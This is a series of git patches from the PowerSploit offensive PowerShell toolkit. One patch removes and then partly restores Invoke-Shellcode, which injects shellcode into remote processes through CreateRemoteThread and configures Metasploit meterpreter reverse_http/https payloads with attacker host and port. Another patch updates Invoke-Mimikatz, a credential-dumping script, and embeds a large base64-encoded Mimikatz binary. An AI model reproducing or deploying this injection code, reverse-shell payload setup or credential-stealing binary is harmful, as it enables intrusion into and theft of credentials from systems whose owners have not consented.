0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1, - 0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44, - 0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49, - 0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a, - 0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41, - 0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00, - 0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b, - 0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff, - 0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47, - 0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00) - } - - if ( $PSBoundParameters['ProcessID'] ) - { - # Inject shellcode into the specified process ID - $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess - $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) - $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) - $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx - $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr]) - $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate) - $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory - $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool]) - $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate) - $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread - $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) - $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate) - $CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle - $CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool]) - $CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate) - - Write-Verbose "Injecting shellcode into PID: $ProcessId" - - if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?', - "Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!" ) ) - { - Inject-RemoteShellcode $ProcessId - } - } - else - { - # Inject shellcode into the currently running PowerShell process - $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc - $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]) - $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate) - $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree - $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [Uint32], [UInt32]) ([Bool]) - $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate) - $CreateThreadAddr = Get-ProcAddress kernel32.dll CreateThread - $CreateThreadDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) - $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate) - $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject - $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int32]) ([Int]) - $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate) - - Write-Verbose "Injecting shellcode into PowerShell" - - if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?', - "Injecting shellcode into the running PowerShell process!" ) ) - { - Inject-LocalShellcode - } - } - -} +# The actual Invoke-Shellcode has moved to Invoke--Shellcode.ps1. +# This was done to make a point that you have no security sense +# if you think it's okay to blindly download/exec code directly +# from a GitHub repo you don't control. This will undoubedtly break +# many scripts that have this path hardcoded. If you don't like it, +# fork PowerSploit and host it yourself. + +throw 'Something terrible may have just happened and you have no idea what because you just arbitrarily download crap from the Internet and execute it.' \ No newline at end of file From 142afad54ea82ea385c4d8262de6a532d3206080 Mon Sep 17 00:00:00 2001 From: mattifestation Date: Tue, 3 Feb 2015 21:47:05 -0500 Subject: [PATCH 014/296] Added parameters back to the original Invoke-Shellcode --- CodeExecution/Invoke-Shellcode.ps1 | 48 +++++++++++++++++++++++++++++- 1 file changed, 47 insertions(+), 1 deletion(-) diff --git a/CodeExecution/Invoke-Shellcode.ps1 b/CodeExecution/Invoke-Shellcode.ps1 index c27a8abd..6ca6def2 100644 --- a/CodeExecution/Invoke-Shellcode.ps1 +++ b/CodeExecution/Invoke-Shellcode.ps1 @@ -5,4 +5,50 @@ # many scripts that have this path hardcoded. If you don't like it, # fork PowerSploit and host it yourself. -throw 'Something terrible may have just happened and you have no idea what because you just arbitrarily download crap from the Internet and execute it.' \ No newline at end of file +function Invoke-Shellcode +{ + +[CmdletBinding( DefaultParameterSetName = 'RunLocal', SupportsShouldProcess = $True , ConfirmImpact = 'High')] Param ( + [ValidateNotNullOrEmpty()] + [UInt16] + $ProcessID, + + [Parameter( ParameterSetName = 'RunLocal' )] + [ValidateNotNullOrEmpty()] + [Byte[]] + $Shellcode, + + [Parameter( ParameterSetName = 'Metasploit' )] + [ValidateSet( 'windows/meterpreter/reverse_http', + 'windows/meterpreter/reverse_https', + IgnoreCase = $True )] + [String] + $Payload = 'windows/meterpreter/reverse_http', + + [Parameter( ParameterSetName = 'ListPayloads' )] + [Switch] + $ListMetasploitPayloads, + + [Parameter( Mandatory = $True, + ParameterSetName = 'Metasploit' )] + [ValidateNotNullOrEmpty()] + [String] + $Lhost = '127.0.0.1', + + [Parameter( Mandatory = $True, + ParameterSetName = 'Metasploit' )] + [ValidateRange( 1,65535 )] + [Int] + $Lport = 8443, + + [Parameter( ParameterSetName = 'Metasploit' )] + [ValidateNotNull()] + [String] + $UserAgent = 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)', + + [Switch] + $Force = $False +) + +throw 'Something terrible may have just happened and you have no idea what because you just arbitrarily download crap from the Internet and execute it.' +} From 2e7dc43edbefec958cde80c7b739386cba3cd557 Mon Sep 17 00:00:00 2001 From: clymb3r Date: Mon, 16 Feb 2015 23:16:31 -0800 Subject: [PATCH 015/296] Update to latest Mimikatz, add sanity checks Updated to the latest Mimikatz build. Added sanity checks to ensure that 32bit PowerShell isn't being run on a 64bit OS which will cause Mimikatz to fail. --- Exfiltration/Invoke-Mimikatz.ps1 | 15 +++++++++++---- 1 file changed, 11 insertions(+), 4 deletions(-) diff --git a/Exfiltration/Invoke-Mimikatz.ps1 b/Exfiltration/Invoke-Mimikatz.ps1 index caceb4a0..02b1b8de 100644 --- a/Exfiltration/Invoke-Mimikatz.ps1 +++ b/Exfiltration/Invoke-Mimikatz.ps1 @@ -15,9 +15,9 @@ Mimikatz Author: Benjamin DELPY `gentilkiwi`. Blog: http://blog.gentilkiwi.com. License: http://creativecommons.org/licenses/by/3.0/fr/ Required Dependencies: Mimikatz (included) Optional Dependencies: None -Version: 1.4 +Version: 1.5 ReflectivePEInjection version: 1.1 -Mimikatz version: 2.0 alpha (5/18/2014) +Mimikatz version: 2.0 alpha (2/16/2015) .DESCRIPTION @@ -2585,6 +2585,12 @@ $RemoteScriptBlock = { #Load the PE reflectively Write-Verbose "Calling Invoke-MemoryLoadLibrary" + + if (((Get-WmiObject -Class Win32_Processor).AddressWidth / 8) -ne [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) + { + Write-Error "PowerShell architecture (32bit/64bit) doesn't match OS architecture. 64bit PS must be used on a 64bit OS." -ErrorAction Stop + } + #Determine whether or not to use 32bit or 64bit bytes if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 8) { @@ -2710,8 +2716,9 @@ Function Main [System.IO.Directory]::SetCurrentDirectory($pwd) - $PEBytes64 = "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